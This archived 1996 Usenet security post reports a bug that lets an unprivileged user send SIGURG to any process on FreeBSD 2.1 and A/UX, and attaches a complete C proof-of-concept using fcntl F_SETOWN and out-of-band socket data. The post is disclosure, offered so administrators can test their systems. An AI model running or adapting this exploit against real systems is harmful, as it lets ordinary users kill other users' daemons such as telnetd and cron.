Return to BSD News archive
Path: euryale.cc.adfa.oz.au!newshost.anu.edu.au!news.gan.net.au!act.news.telstra.net!psgrain!news.uoregon.edu!newsxfer.itd.umich.edu!newsrelay.iastate.edu!vixen.cso.uiuc.edu!howland.reston.ans.net!surfnet.nl!tuegate.tue.nl!news.win.tue.nl!il.ft.hse.nl!not-for-mail From: robert@il.ft.hse.nl (robert) Newsgroups: comp.security.unix,comp.unix.bsd.freebsd.misc Subject: SIGURG'ing...not only on Linux Date: 20 Mar 1996 17:43:13 +0100 Organization: LSD...melts in your mind, not in your hand Lines: 89 Message-ID: <4ipcj1$gsa@charm.il.ft.hse.nl> NNTP-Posting-Host: charm.il.ft.hse.nl Xref: euryale.cc.adfa.oz.au comp.security.unix:22790 comp.unix.bsd.freebsd.misc:15692 A few months back, someone discovered a bug in the Linux kernel with which it was possible to send any process (whether it was owned by the person using the bug or not) a SIGURG signal. So, Linux kernel got patched...and the exploit doesn't work anymore...not on Linux, that is. With a very small modification, I found out that atleast on FreeBSD (2.1 release) and on A/UX (3.0.2), it's still possible to send any process that SIGURG signal. Now it depends on the OS, and on the program itself, whether or not this has consequences. On A/UX, I as mortal could kill telnetd's and the cron daemon...not something you want. If you want to determine if this bug can be exploited on your OS (I only have access to A/UX, Linux and FreeBSD), try the attached program (perhaps after some small compatibility changes). robert /* Copyright (C) 1995 Marek Michalkiewicz This program is free software, see the GNU General Public License for more legalese... There is no warranty - after all, this bug may be fixed soon :-). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 8765 /* just a random hopefully unused TCP port */ #define ERROR_CHECK(x, msg) do { \ if ((x) == -1) { \ perror(msg); \ exit(1); \ } \ } while (0) int main(int argc, char *argv[]) { int s, s1, child_pid; struct sockaddr_in addr; int one = 1; char c = 0; if (argc != 2) { fprintf(stderr, "usage: %s pid\n", argv[0]); exit(1); } ERROR_CHECK(s = socket(AF_INET, SOCK_STREAM, 0), "socket"); ERROR_CHECK(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" ); memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; ERROR_CHECK(bind(s, (struct sockaddr *) & addr, sizeof addr), "bind"); ERROR_CHECK(listen(s, 1), "listen"); ERROR_CHECK(child_pid = fork(), "fork"); if (child_pid == 0) { int pid_to_kill = atoi(argv[1]); ERROR_CHECK(s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket"); ERROR_CHECK(connect(s1, (struct sockaddr *) & addr, sizeof addr), "child connect"); ERROR_CHECK(fcntl(s1, F_SETOWN, pid_to_kill), "child fcntl"); /* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This is the changed line. The Linux version used an ioctl() */ ERROR_CHECK(write(s1, &c, 1), "child write"); ERROR_CHECK(read(s1, &c, 1), "child read"); _exit(0); } ERROR_CHECK(s1 = accept(s, NULL, NULL), "accept"); ERROR_CHECK(read(s1, &c, 1), "read"); ERROR_CHECK(send(s1, &c, 1, MSG_OOB), "send"); return 0; }